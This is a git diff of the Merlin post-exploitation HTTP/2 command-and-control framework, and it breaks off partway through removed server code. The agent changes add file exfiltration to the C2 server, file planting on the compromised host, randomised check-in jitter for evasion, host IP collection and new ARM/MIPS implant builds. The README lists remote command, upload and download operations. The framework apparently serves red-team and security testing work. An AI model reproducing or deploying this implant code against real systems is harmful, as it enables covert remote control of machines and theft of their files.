diff --git a/.gitignore b/.gitignore new file mode 100644 index 00000000..7aacdb10 --- /dev/null +++ b/.gitignore @@ -0,0 +1,6 @@ +.DS_STORE +data/agents +data/bin +data/db +data/log +data/x509 diff --git a/Makefile b/Makefile index ff1596e0..e857e977 100644 --- a/Makefile +++ b/Makefile @@ -1,20 +1,22 @@ # !!!MAKE SURE YOUR GOPATH ENVIRONMENT VARIABLE IS SET FIRST!!! # Merlin Server & Agent version number -VERSION=0.1.3 +VERSION=0.1.4 MSERVER=merlinServer MAGENT=merlinAgent PASSWORD=merlin BUILD=$(shell git rev-parse HEAD) DIR=data/bin/v${VERSION}/ -LDFLAGS=-ldflags "-s -X main.version=${VERSION} -X main.build=${BUILD}" -WINAGENTLDFLAGS=-ldflags "-s -X main.version=${VERSION} -X main.build=${BUILD} -H=windowsgui" +LDFLAGS=-ldflags "-s -X main.build=${BUILD}" +WINAGENTLDFLAGS=-ldflags "-s -X main.build=${BUILD} -H=windowsgui" PACKAGE=7za a -p${PASSWORD} -mhe -mx=9 -F=README.MD LICENSE data/README.MD data/agents/README.MD data/db/ data/log/README.MD data/x509 data/src data/bin/README.MD +F=README.MD LICENSE data/modules docs data/README.MD data/agents/README.MD data/db/ data/log/README.MD data/x509 data/src data/bin/README.MD F2=LICENSE W=Windows-x64 L=Linux-x64 +A=Linux-arm +M=Linux-mips D=Darwin-x64 # Make Directory to store executables @@ -31,6 +33,12 @@ windows: server-windows agent-windows # Compile Linux binaries linux: server-linux agent-linux +# Compile Arm binaries +arm: agent-arm + +# Compile mips binaries +mips: agent-mips + # Compile Darwin binaries darwin: server-darwin agent-darwin @@ -46,6 +54,14 @@ agent-windows: server-linux: export GOOS=linux;export GOARCH=amd64;go build ${LDFLAGS} -o ${DIR}/${MSERVER}-${L} cmd/merlinserver/main.go +# Compile Agent - Linux mips +agent-mips: + export GOOS=linux;export GOARCH=mips;go build ${LDFLAGS} -o ${DIR}/${MAGENT}-${M} cmd/merlinagent/main.go + +# Compile Agent - Linux arm +agent-arm: + export GOOS=linux;export GOARCH=arm;export GOARM=7;go build ${LDFLAGS} -o ${DIR}/${MAGENT}-${A} cmd/merlinagent/main.go + # Compile Agent - Linux x64 agent-linux: export GOOS=linux;export GOARCH=amd64;go build ${LDFLAGS} -o ${DIR}/${MAGENT}-${L} cmd/merlinagent/main.go diff --git a/README.MD b/README.MD index 4ff2fb49..a799e34e 100644 --- a/README.MD +++ b/README.MD @@ -1,5 +1,8 @@ [![GoReportCard](https://goreportcard.com/badge/github.com/ne0nd0g/merlin)](https://goreportcard.com/badge/github.com/ne0nd0g/merlin) [![License: GPL v3](https://img.shields.io/badge/License-GPL%20v3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0) +[![Release](https://img.shields.io/github/release/Ne0nd0g/merlin.svg)](https://github.com/Ne0nd0g/merlin/releases/latest) +[![Downloads](https://img.shields.io/github/downloads/Ne0nd0g/merlin/total.svg)](https://github.com/Ne0nd0g/merlin/releases) +[![Slack](https://img.shields.io/badge/Slack-Sign--Up-blue.svg)](https://communityinviter.com/apps/merlin-go/merlin) # Merlin (BETA) Merlin is a cross-platform post-exploitation HTTP/2 Command & Control  @@ -9,7 +12,7 @@ An introductory blog post can be found here: https://medium.com/@Ne0nd0g/introducing-merlin-645da3c635a -[![asciicast](https://asciinema.org/a/ryljo8qNjHz1JFcFDK7wP6e9I.png)](https://asciinema.org/a/ryljo8qNjHz1JFcFDK7wP6e9I) +[![asciicast](https://asciinema.org/a/166722.png)](https://asciinema.org/a/166722&speed=2) ## Getting Started The quickest and easiest way to start using Merlin is download the @@ -73,32 +76,57 @@ Merlin is equipped with a tab completion system that can be used to see what commands are available at any given time. Hit double tab to get a list of all available commands. -``` - -exit Exit and close Merlin - -help Show Merlin help menu - -quit Exit and close Merlin - -? Show Merlin help menu -``` + Name | Description + --- | --- + agent | Interact with agents or list agents + banner | Print the Merlin banner + exit | Exit and close the Merlin server + help | Print help screen + interact | Interact with an agent. Alias for Empire users + quit | Exit and close the Merlin server + sessions | List all agents session information. Alias for MSF users + use | Use a function of Merlin (i.e modules) + version | Print the Merlin server version + ? | Print help screen + `*` | Anything else will be execute on the host operating system ## Agent Commands These are the commands to control an agent from the server. Tab completion can be used to select an Agent's identifier. -``` -agent cmd A command to run on a remote agent - -agent control Configure/Control a remote agent (not the host) - [kill,sleep,padding,maxretry] - -agent info Display all information for an agent - -agent list List agents - -``` + Name | Description + --- | --- + cmd | Execute a command on the agent", "cmd ping -c 3 8.8.8.8" + back | Return to the main menu + download | Download a file from the agent + exit | Exit and close the Merlin server + help | Print help screen + info | Display all information about the agent + kill | Instruct the agent to die or quit + main | Return to the main menu + quit | Exit and close the Merlin server + set | Set the value for one of the agent's options (maxretry, padding, skew, sleep) + show | Show information about a module or its options (show options or show info) + upload | Upload a file to the agent + ? | Print help screen + `*` | Anything else will be execute on the host operating system + +## Module Commands +These are the commands to configure and execute a module. Tab completion + can be used to select options and agents. + + Name | Description + --- | --- + back | Return to the main menu + exit | Exit and close the Merlin server + help | Print help screen + main | Return to the main menu + quit | Exit and close the Merlin server + run | Run or execute the module + set | Set the value for one of the module's options + show | Show information about a module or its options (show options or show info) + ? | Print help screen + `*` | Anything else will be execute on the host operating system ### TLS Certificates By default, Merlin will load server.crt and server.key from the @@ -140,7 +168,9 @@ Run Merlin Agent as script: `go run cmd/merlinagent/main.go` Enable debug output -sleep duration Time for agent to sleep (default 10s) + -skew int + Variable time skew for agent to sleep -url string Full URL for agent to connect to (default "https://127.0.0.1:443") -v Enable verbose output -``` \ No newline at end of file +``` diff --git a/cmd/merlinagent/main.go b/cmd/merlinagent/main.go index 7c4df4ac..261d0786 100644 --- a/cmd/merlinagent/main.go +++ b/cmd/merlinagent/main.go @@ -1,6 +1,6 @@ // Merlin is a post-exploitation command and control framework. // This file is part of Merlin. -// Copyright (C) 2017 Russel Van Tuyl +// Copyright (C) 2018 Russel Van Tuyl // Merlin is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by @@ -18,23 +18,33 @@ package main import ( + // Standard "bytes" "crypto/tls" + "encoding/base64" "encoding/json" "flag" "fmt" + "io/ioutil" "math/rand" + "net" "net/http" "os" "os/user" "runtime" "strconv" "time" + "crypto/sha1" + "io" + "path/filepath" + // 3rd Party "github.com/fatih/color" "github.com/satori/go.uuid" "golang.org/x/net/http2" + // Merlin + "github.com/Ne0nd0g/merlin/pkg" "github.com/Ne0nd0g/merlin/pkg/agent" "github.com/Ne0nd0g/merlin/pkg/messages" ) @@ -47,11 +57,11 @@ var mRun = true var hostUUID = uuid.NewV4() var url = "https://127.0.0.1:443/" var h2Client = getH2WebClient() +var waitSkew int64 = 30000 var waitTime = 30000 * time.Millisecond var agentShell = "" var paddingMax = 4096 var src = rand.NewSource(time.Now().UnixNano()) -var version = "nonRelease" var build = "nonRelease" var maxRetry = 7 var failedCheckin = 0 @@ -70,12 +80,15 @@ func main() { flag.BoolVar(&verbose, "v", false, "Enable verbose output") flag.BoolVar(&debug, "debug", false, "Enable debug output") flag.StringVar(&url, "url", url, "Full URL for agent to connect to") + flag.Int64Var(&waitSkew, "skew", 3000, "Variable time skew for agent to sleep") flag.DurationVar(&waitTime, "sleep", 30000*time.Millisecond, "Time for agent to sleep") flag.Usage = usage flag.Parse() + rand.Seed(time.Now().UTC().UnixNano()) + if verbose { - color.Yellow("[-]Agent version: %s", version) + color.Yellow("[-]Agent version: %s", merlin.Version) color.Yellow("[-]Agent build: %s", build) } @@ -94,10 +107,12 @@ func main() { if failedCheckin >= maxRetry { os.Exit(1) } + timeSkew := time.Duration(rand.Int63n(waitSkew)) * time.Millisecond + totalWaitTime := waitTime + timeSkew if verbose { - color.Yellow("[-]Sleeping for %s at %s", waitTime.String(), time.Now()) + color.Yellow("[-]Sleeping for %s at %s", totalWaitTime.String(), time.Now()) } - time.Sleep(waitTime) + time.Sleep(totalWaitTime) } } @@ -118,6 +133,24 @@ func initialCheckIn(host string, client *http.Client) bool { } } + var ips []string + interfaces, errI := net.Interfaces() + if errI == nil { + for _, iface := range interfaces { + addrs, err := iface.Addrs() + if err == nil { + for _, addr := range addrs { + ips = append(ips, addr.String()) + } + } + } + } else { + if debug { + color.Red("[!]There was an error getting the the IP addresses") + color.Red(errI.Error()) + } + } + if verbose { color.Green("[+]Host Information:") color.Green("\tAgent UUID: %s", hostUUID) @@ -127,6 +160,7 @@ func initialCheckIn(host string, client *http.Client) bool { color.Green("\tUser GUID: %s", u.Gid) color.Green("\tHostname: %s", h) color.Green("\tPID: %d", os.Getpid()) + color.Green("\tIPs: %v", ips) } // JSON "initial" payload object @@ -137,6 +171,7 @@ func initialCheckIn(host string, client *http.Client) bool { UserGUID: u.Gid, HostName: h, Pid: os.Getpid(), + Ips: ips, } payload, errP := json.Marshal(i) @@ -258,6 +293,129 @@ func statusCheckIn(host string, client *http.Client) { color.Green("%s Message Type Received!", j.Type) } switch j.Type { // TODO add self destruct that will find the .exe current path and start a new process to delete it after initial sleep + case "FileTransfer": + var p messages.FileTransfer + json.Unmarshal(payload, &p) + + g := messages.Base{ + Version: 1.0, + ID: j.ID, + Padding: randStringBytesMaskImprSrc(paddingMax), + } + + // Agent will be downloading a file from the server + if p.IsDownload { + if verbose {color.Green("FileTransfer type: Download")} + // Setup the message to submit the status of the upload + c := messages.CmdResults{ + Job: p.Job, + Stdout: "", + Stderr: "", + } + + d, _ := filepath.Split(p.FileLocation) + _, directoryPathErr := os.Stat(d) + if directoryPathErr != nil { + if verbose { + color.Red("[!]There was an error getting the FileInfo structure for the directory %s", d) + color.Red(directoryPathErr.Error()) + } + c.Stderr = fmt.Sprintf("[!]There was an error getting the FileInfo structure for the " + + "remote directory %s:\r\n", p.FileLocation) + c.Stderr += fmt.Sprintf(directoryPathErr.Error()) + } + if c.Stderr == "" { + if verbose { + color.Yellow("[-]Writing file to %s", p.FileLocation) + } + downloadFile, downloadFileErr := base64.StdEncoding.DecodeString(p.FileBlob) + if downloadFileErr != nil { + c.Stderr = downloadFileErr.Error() + if verbose { + color.Red("[!]There was an error decoding the fileBlob") + color.Red(downloadFileErr.Error()) + } + } else { + errF := ioutil.WriteFile(p.FileLocation, downloadFile, 0644) + if errF != nil { + c.Stderr = err.Error() + if verbose { + color.Red("[!]There was an error writing to : %s", p.FileLocation) + color.Red(errF.Error()) + } + } else { + if verbose { + color.Green("[+]Successfully download file to %s", p.FileLocation) + } + c.Stdout = fmt.Sprintf("Successfully uploaded file to %s on agent", p.FileLocation) + } + } + } + + k, _ := json.Marshal(c) + g.Type = "CmdResults" + g.Payload = (*json.RawMessage)(&k) + } + + // Agent will uploading a file to the server + if !p.IsDownload { + if verbose {color.Green("FileTransfer type: Upload")} + + fileData, fileDataErr := ioutil.ReadFile(p.FileLocation) + if fileDataErr != nil { + if verbose { + color.Red("[!]There was an error reading %s", p.FileLocation) + color.Red(fileDataErr.Error()) + } + errMessage := fmt.Sprintf("[!]There was an error reading %s\r\n", p.FileLocation) + errMessage += fileDataErr.Error() + c := messages.CmdResults{ + Job: p.Job, + Stderr: errMessage, + } + if verbose { + color.Yellow("[-]Sending error message to sever.") + } + k, _ := json.Marshal(c) + g.Type = "CmdResults" + g.Payload = (*json.RawMessage)(&k) + + } else { + fileHash := sha1.New() + io.WriteString(fileHash, string(fileData)) + + if verbose { + color.Yellow("[-]Uploading file %s of size %d bytes and a SHA1 hash of %x to the server", + p.FileLocation, + len(fileData), + fileHash.Sum(nil)) + } + c := messages.FileTransfer{ + FileLocation: p.FileLocation, + FileBlob: base64.StdEncoding.EncodeToString([]byte(fileData)), + IsDownload: true, + Job: p.Job, + } + + k, _ := json.Marshal(c) + g.Type = "FileTransfer" + g.Payload = (*json.RawMessage)(&k) + + } + } + b2 := new(bytes.Buffer) + json.NewEncoder(b2).Encode(g) + resp2, respErr := client.Post(host, "application/json; charset=utf-8", b2) + if respErr != nil { + if verbose { + color.Red("There was an error sending the FileTransfer message to the server") + color.Red(respErr.Error()) + } + } + if resp2.StatusCode != 200 { + color.Red("Message error from server. HTTP Status code: %d", resp2.StatusCode) + } + case "CmdPayload": var p messages.CmdPayload json.Unmarshal(payload, &p) @@ -323,6 +481,18 @@ func statusCheckIn(host string, client *http.Client) { color.Red("The provided time was: %s", t.String()) } } + case "skew": + t, err := strconv.ParseInt(p.Args, 10, 64) + if err != nil { + if verbose { + color.Red("[!]There was an error changing the agent skew interval") + } + } + if verbose { + color.Yellow("[-]Setting agent skew interval to %d", t) + } + waitSkew = t + agentInfo(host, client) case "padding": t, err := strconv.Atoi(p.Args) if err != nil { @@ -439,12 +609,13 @@ func randStringBytesMaskImprSrc(n int) string { func agentInfo(host string, client *http.Client) { i := messages.AgentInfo{ - Version: version, + Version: merlin.Version, Build: build, WaitTime: waitTime.String(), PaddingMax: paddingMax, MaxRetry: maxRetry, FailedCheckin: failedCheckin, + Skew: waitSkew, } payload, errP := json.Marshal(i) @@ -514,3 +685,5 @@ func agentInfo(host string, client *http.Client) { // TODO set message jitter // TODO get and return IP addresses with initial checkin // TODO Update Makefile to remove debug stacktrace for agents only. GOTRACEBACK=0 #https://dave.cheney.net/tag/gotraceback https://golang.org/pkg/runtime/debug/#SetTraceback +// TODO Add standard function for printing messages like in the JavaScript agent. Make it a lib for agent and server? +// TODO send cmdResult for agentcontrol messages diff --git a/cmd/merlinserver/main.go b/cmd/merlinserver/main.go index f19e44ba..5af7377e 100644 --- a/cmd/merlinserver/main.go +++ b/cmd/merlinserver/main.go @@ -1,6 +1,6 @@ // Merlin is a post-exploitation command and control framework. // This file is part of Merlin. -// Copyright (C) 2017 Russel Van Tuyl +// Copyright (C) 2018 Russel Van Tuyl // Merlin is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by @@ -19,751 +19,51 @@ package main import ( // Standard - "crypto/tls" - "encoding/base64" - "encoding/json" "flag" - "fmt" - "io" - "log" - "math/rand" - "net/http" - "os" "path/filepath" "strconv" - "strings" - "time" // 3rd Party - "github.com/chzyer/readline" "github.com/fatih/color" - "github.com/olekukonko/tablewriter" - "github.com/satori/go.uuid" // Merlin - "github.com/Ne0nd0g/merlin/pkg" "github.com/Ne0nd0g/merlin/pkg/banner" - "github.com/Ne0nd0g/merlin/pkg/messages" + "github.com/Ne0nd0g/merlin/pkg/servers/http2" + "github.com/Ne0nd0g/merlin/pkg/logging" + "github.com/Ne0nd0g/merlin/pkg/core" + "github.com/Ne0nd0g/merlin/pkg/cli" + "github.com/Ne0nd0g/merlin/pkg" ) // Global Variables - -var debug = false -var verbose = false -var src = rand.NewSource(time.Now().UnixNano()) -var currentDir, _ = os.Getwd() -var agents = make(map[uuid.UUID]*agent) //global map to house agent objects -var paddingMax = 4096 -var version = "nonRelease" var build = "nonRelease" -var serverLog *os.File - -// Constants - -const ( - letterIdxBits = 6 // 6 bits to represent a letter index - letterIdxMask = 1< 0 { - agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Command Results (stdout):\r\n%s\r\n", - time.Now(), - p.Stdout)) - color.Green("%s", p.Stdout) - } - if len(p.Stderr) > 0 { - agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Command Results (stderr):\r\n%s\r\n", - time.Now(), - p.Stderr)) - color.Red("%s", p.Stderr) - } - - case "AgentInfo": - var p messages.AgentInfo - json.Unmarshal(payload, &p) - agentInfo(j, p) - - default: - color.Red("[!]Invalid Activity: %s", j.Type) - } - - } else if r.Method == "GET" { - // Should answer any GET requests - // Send 404 - w.WriteHeader(404) - } else { - w.WriteHeader(404) - } -} - -func startListener(port string, ip string, crt string, key string, webpath string) { - - serverLog.WriteString(fmt.Sprintf("[%s]Starting HTTP/2 Listener \r\n", time.Now())) - serverLog.WriteString(fmt.Sprintf("[%s]Address: %s:%s%s\r\n", time.Now(), ip, port, webpath)) - serverLog.WriteString(fmt.Sprintf("[%s]x.509 Certificate %s\r\n", time.Now(), crt)) - serverLog.WriteString(fmt.Sprintf("[%s]x.509 Key %s\r\n", time.Now(), key)) - - time.Sleep(45 * time.Millisecond) // Sleep to allow the shell to start up - // Check to make sure files exist - _, errCrt := os.Stat(crt) - if errCrt != nil { - color.Red("[!]There was an error importing the SSL/TLS x509 certificate") - serverLog.WriteString(fmt.Sprintf("[%s]There was an error importing the SSL/TLS x509 certificate\r\n", - time.Now())) - fmt.Println(errCrt) - return - } - - _, errKey := os.Stat(key) - if errKey != nil { - color.Red("[!]There was an error importing the SSL/TLS x509 key") - serverLog.WriteString(fmt.Sprintf("[%s]There was an error importing the SSL/TLS x509 key\r\n", - time.Now())) - fmt.Println(errKey) - return - } - - cer, err := tls.LoadX509KeyPair(crt, key) - - if err != nil { - color.Red("[!]There was an error importing the SSL/TLS x509 key pair") - color.Red("[!]Ensure a keypair is located in the data/x509 directory") - serverLog.WriteString(fmt.Sprintf("[%s]There was an error importing the SSL/TLS x509 key pair\r\n", - time.Now())) - fmt.Println(err) - return - } - - // Configure TLS - config := &tls.Config{ - Certificates: []tls.Certificate{cer}, - MinVersion: tls.VersionTLS12, - CipherSuites: []uint16{ - tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, - tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, - tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, - }, - NextProtos: []string{"h2"}, - } - http.HandleFunc(webpath, httpHandler) - - s := &http.Server{ - Addr: ip + ":" + port, - Handler: nil, - ReadTimeout: 10 * time.Second, - WriteTimeout: 10 * time.Second, - MaxHeaderBytes: 1 << 20, - TLSConfig: config, - } - - // I shouldn't need to specify the certs as they are in the config - color.Yellow("[-]HTTPS Listener Started on %s:%s", ip, port) - err2 := s.ListenAndServeTLS(crt, key) - if err2 != nil { - color.Red("[!]There was an error starting the web server") - serverLog.WriteString(fmt.Sprintf("[%s]There was an error starting the web server\r\n", time.Now())) - fmt.Println(err2) - return - } - // TODO determine scripts path and load certs by their absolute path -} - -func agentInitialCheckIn(j messages.Base, p messages.SysInfo) { - color.Green("[+]Received new agent checkin from %s", j.ID) - serverLog.WriteString(fmt.Sprintf("[%s]Received new agent checkin from %s\r\n", time.Now(), j.ID)) - if verbose { - color.Yellow("\t[i]Host ID: %s", j.ID) - color.Yellow("\t[i]Activity: %s", j.Type) - color.Yellow("\t[i]Payload: %s", j.Payload) - color.Yellow("\t[i]Platform: %s", p.Platform) - color.Yellow("\t[i]Architecture: %s", p.Architecture) - color.Yellow("\t[i]Username: %s", p.UserName) - } - agentsDir := filepath.Join(currentDir, "data", "agents") - - if _, errD := os.Stat(agentsDir); os.IsNotExist(errD) { - os.Mkdir(agentsDir, os.ModeDir) - } - if _, err := os.Stat(filepath.Join(agentsDir, j.ID.String())); os.IsNotExist(err) { - os.Mkdir(filepath.Join(agentsDir, j.ID.String()), os.ModeDir) - os.Create(filepath.Join(agentsDir, j.ID.String(), "agent_log.txt")) - - if verbose { - color.Yellow("[-]Created agent log file at: %s", agentsDir, j.ID.String(), "agent_log.txt") - } - } - - f, err := os.OpenFile(filepath.Join(agentsDir, j.ID.String(), "agent_log.txt"), os.O_APPEND|os.O_WRONLY, 0600) - if err != nil { - panic(err) - } - // Add custom agent struct to global agents map - agents[j.ID] = &agent{id: j.ID, userName: p.UserName, userGUID: p.UserGUID, platform: p.Platform, - architecture: p.Architecture, - hostName: p.HostName, pid: p.Pid, channel: make(chan []string, 10), - agentLog: f, iCheckIn: time.Now(), sCheckIn: time.Now()} - - agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Initial check in for agent %s\r\n", time.Now(), j.ID)) - agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Platform: %s\r\n", time.Now(), p.Platform)) - agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Architecture: %s\r\n", time.Now(), p.Architecture)) - agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]HostName: %s\r\n", time.Now(), p.HostName)) - agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]UserName: %s\r\n", time.Now(), p.UserName)) - agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]UserGUID: %s\r\n", time.Now(), p.UserGUID)) - agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Process ID: %d\r\n", time.Now(), p.Pid)) - - // Add code here to create db record -} - -func agentInfo(j messages.Base, p messages.AgentInfo) { - _, ok := agents[j.ID] - - if !ok { - color.Red("[!]The agent was not found while processing an AgentInfo message") - return - } - if debug { - color.Red("[DEBUG]Processing new agent info") - color.Red("\t[DEBUG]Agent Version: %s", p.Version) - color.Red("\t[DEBUG]Agent Build: %s", p.Build) - color.Red("\t[DEBUG]Agent waitTime: %s", p.WaitTime) - color.Red("\t[DEBUG]Agent paddingMax: %d", p.PaddingMax) - color.Red("\t[DEBUG]Agent maxRetry: %d", p.MaxRetry) - color.Red("\t[DEBUG]Agent failedCheckin: %d", p.FailedCheckin) - } - agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Processing AgentInfo message:\r\n", time.Now())) - agents[j.ID].agentLog.WriteString(fmt.Sprintf("\tAgent Version: %s \r\n", p.Version)) - agents[j.ID].agentLog.WriteString(fmt.Sprintf("\tAgent Build: %s \r\n", p.Build)) - agents[j.ID].agentLog.WriteString(fmt.Sprintf("\tAgent waitTime: %s \r\n", p.WaitTime)) - agents[j.ID].agentLog.WriteString(fmt.Sprintf("\tAgent paddingMax: %d \r\n", p.PaddingMax)) - agents[j.ID].agentLog.WriteString(fmt.Sprintf("\tAgent maxRetry: %d \r\n", p.MaxRetry)) - agents[j.ID].agentLog.WriteString(fmt.Sprintf("\tAgent failedCheckin: %d \r\n", p.FailedCheckin)) - - agents[j.ID].version = p.Version - agents[j.ID].build = p.Build - agents[j.ID].waitTime = p.WaitTime - agents[j.ID].paddingMax = p.PaddingMax - agents[j.ID].maxRetry = p.MaxRetry - agents[j.ID].failedCheckin = p.FailedCheckin -} - -func statusCheckIn(j messages.Base) messages.Base { - // Check to make sure agent UUID is in dataset - _, ok := agents[j.ID] - if !ok { - color.Red("[!]Orphaned agent %s has checked in. Instructing agent to re-initialize...", j.ID.String()) - serverLog.WriteString(fmt.Sprintf("[%s]Orphaned agent %s has checked in\r\n", time.Now(), j.ID.String())) - jobID := randStringBytesMaskImprSrc(10) - color.Yellow("[-]Created job %s for agent %s", jobID, j.ID) - g := messages.Base{ - Version: 1.0, - ID: j.ID, - Type: "AgentControl", - Padding: randStringBytesMaskImprSrc(paddingMax), - } - p := messages.AgentControl{ - Command: "initialize", - Job: jobID, - } - - k := marshalMessage(p) - g.Payload = (*json.RawMessage)(&k) - return g - } - - agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Agent status check in\r\n", time.Now())) - if verbose { - color.Green("[+]Received agent status checkin from %s", j.ID) - } - if debug { - color.Red("[DEBUG]Received agent status checkin from %s", j.ID) - color.Red("[DEBUG]Channel length: %d", len(agents[j.ID].channel)) - color.Red("[DEBUG]Channel content: %s", agents[j.ID].channel) - } - - agents[j.ID].sCheckIn = time.Now() - if len(agents[j.ID].channel) >= 1 { - command := <-agents[j.ID].channel - jobID := randStringBytesMaskImprSrc(10) - color.Yellow("[-]Created job %s for agent %s", jobID, j.ID) - - agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Command Type: %s\r\n", time.Now(), command[1])) - agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Command: %s\r\n", time.Now(), command[3:])) - agents[j.ID].agentLog.WriteString(fmt.Sprintf("[%s]Created job %s for agent %s\r\n", time.Now(), jobID, j.ID)) - - m := messages.Base{ - Version: 1.0, - ID: j.ID, - Padding: randStringBytesMaskImprSrc(paddingMax), - } - - switch command[1] { - case "cmd": - p := messages.CmdPayload{ - Command: command[3], - Job: jobID, - } - if len(command) > 4 { - p.Args = strings.Join(command[4:], " ") - } - - k := marshalMessage(p) - m.Type = "CmdPayload" - m.Payload = (*json.RawMessage)(&k) - - return m - - case "control": - p := messages.AgentControl{ - Command: command[3], - Job: jobID, - } - - if len(command) == 5 { - p.Args = command[4] - } - - k := marshalMessage(p) - m.Type = "AgentControl" - m.Payload = (*json.RawMessage)(&k) - - if command[3] == "kill" { - delete(agents, j.ID) - } - return m - - case "kill": - p := messages.AgentControl{ - Command: command[1], - Job: jobID, - } - - k := marshalMessage(p) - m.Type = "AgentControl" - m.Payload = (*json.RawMessage)(&k) - - delete(agents, j.ID) - - return m - - default: - m.Type = "ServerOk" - return m - } - } else { - g := messages.Base{ - Version: 1.0, - ID: j.ID, - Type: "ServerOk", - Padding: randStringBytesMaskImprSrc(paddingMax), - } - return g - } - -} - -func usage() { - color.Yellow("Merlin C2 Server (version %s)", merlin.Version) - table := tablewriter.NewWriter(os.Stdout) - table.SetAlignment(tablewriter.ALIGN_LEFT) - table.SetHeader([]string{"Command", "Arguments", "Options", "Description"}) - - data := [][]string{ - {"agent cmd", " ", "", "Run a command on target's operating system"}, - {"agent control", " ", "sleep, kill, padding", "Control messages & " + - "functions to the agent itself"}, - {"agent info", "", "", "Display all information about an agent"}, - {"agent list", "None", "", "List all checked In agents"}, - {"exit", "None", "", "Exit the Merlin server"}, - {"quit", "None", "", "Exit the Merlin server"}, - } - - table.AppendBulk(data) - fmt.Println() - table.Render() - fmt.Println() -} - -func filterInput(r rune) (rune, bool) { - switch r { - // block CtrlZ feature - case readline.CharCtrlZ: - return r, false - } - return r, true -} - -func getAgentList() func(string) []string { - return func(line string) []string { - a := make([]string, 0) - for k := range agents { - a = append(a, k.String()) - } - return a - } -} - -func shell() { - - var agentCompleter = readline.PcItemDynamic(getAgentList()) - var completer = readline.NewPrefixCompleter( - readline.PcItem("agent", - readline.PcItem("list"), - readline.PcItem("info", - agentCompleter, - ), - readline.PcItem("cmd", - agentCompleter, - ), - readline.PcItem("control", - readline.PcItemDynamic(getAgentList(), - readline.PcItem("sleep"), - readline.PcItem("kill"), - readline.PcItem("padding"), - readline.PcItem("maxretry"), - ), - ), - readline.PcItem("kill", - agentCompleter, - ), - ), - readline.PcItem("exit"), - readline.PcItem("quit"), - readline.PcItem("help"), - ) - - ms, err := readline.NewEx(&readline.Config{ - Prompt: "\033[31mMerlin»\033[0m ", - HistoryFile: "/tmp/readline.tmp", - AutoComplete: completer, - InterruptPrompt: "^C", - EOFPrompt: "exit", - HistorySearchFold: true, - FuncFilterInputRune: filterInput, - }) - - if err != nil { - color.Red("[!]There was an error with the provided input") - color.Red(err.Error()) - } - defer ms.Close() - - log.SetOutput(ms.Stderr()) - - for { - line, err := ms.Readline() - if err == readline.ErrInterrupt { - if len(line) == 0 { - break - } else { - continue - } - } else if err == io.EOF { - break - } - - line = strings.TrimSpace(line) - cmd := strings.Split(line, " ") - - switch cmd[0] { - case "agent": - if len(cmd) > 1 { - switch cmd[1] { - case "list": - table := tablewriter.NewWriter(os.Stdout) - table.SetHeader([]string{"Agent GUID", "Platform", "User", "Host", "Transport"}) - table.SetAlignment(tablewriter.ALIGN_CENTER) - for k, v := range agents { - table.Append([]string{k.String(), v.platform + "/" + v.architecture, v.userName, - v.hostName, "HTTP/2"}) - } - fmt.Println() - table.Render() - fmt.Println() - case "info": - if len(cmd) == 2 { - color.Red("[!]Invalid command") - color.White("agent info ") - } else if len(cmd) >= 3 { - a, _ := uuid.FromString(cmd[2]) - table := tablewriter.NewWriter(os.Stdout) - table.SetAlignment(tablewriter.ALIGN_LEFT) - data := [][]string{ - {"ID", agents[a].id.String()}, - {"Platform", agents[a].platform}, - {"Architecture", agents[a].architecture}, - {"UserName", agents[a].userName}, - {"User GUID", agents[a].userGUID}, - {"Hostname", agents[a].hostName}, - {"Process ID", strconv.Itoa(agents[a].pid)}, - {"Initial Check In", agents[a].iCheckIn.String()}, - {"Last Check In", agents[a].sCheckIn.String()}, - {"Agent Version", agents[a].version}, - {"Agent Build", agents[a].build}, - {"Agent Wait Time", agents[a].waitTime}, - {"Agent Message Padding Max", strconv.Itoa(agents[a].paddingMax)}, - {"Agent Max Retries", strconv.Itoa(agents[a].maxRetry)}, - {"Agent Failed Logins", strconv.Itoa(agents[a].failedCheckin)}, - } - table.AppendBulk(data) - fmt.Println() - table.Render() - fmt.Println() - } - case "cmd": - if len(cmd) >= 4 { - addChannel(cmd) - cmdAgent := base64.StdEncoding.EncodeToString([]byte(cmd[3])) - if debug { - color.Red("[DEBUG]Input: %s", cmd[3]) - color.Red("[DEBUG]Base64 Input: %s", cmdAgent) - } - } else { - color.Red("[!]Invalid command") - color.White("agent cmd ") - } - case "kill": - if len(cmd) == 3 { - addChannel(cmd) - } else { - color.Red("[!]Invalid command") - color.White("agent kill ") - } - case "control": - switch cmd[3] { - case "kill": - addChannel(cmd) - case "sleep": - if len(cmd) == 5 { - _, err := time.ParseDuration(cmd[4]) - if err != nil { - color.Red("[!]There was an error setting the agent sleep time") - color.Red(err.Error()) - } else { - addChannel(cmd) - } - } else { - color.Red("[!]Invalid command") - color.White("agent control sleep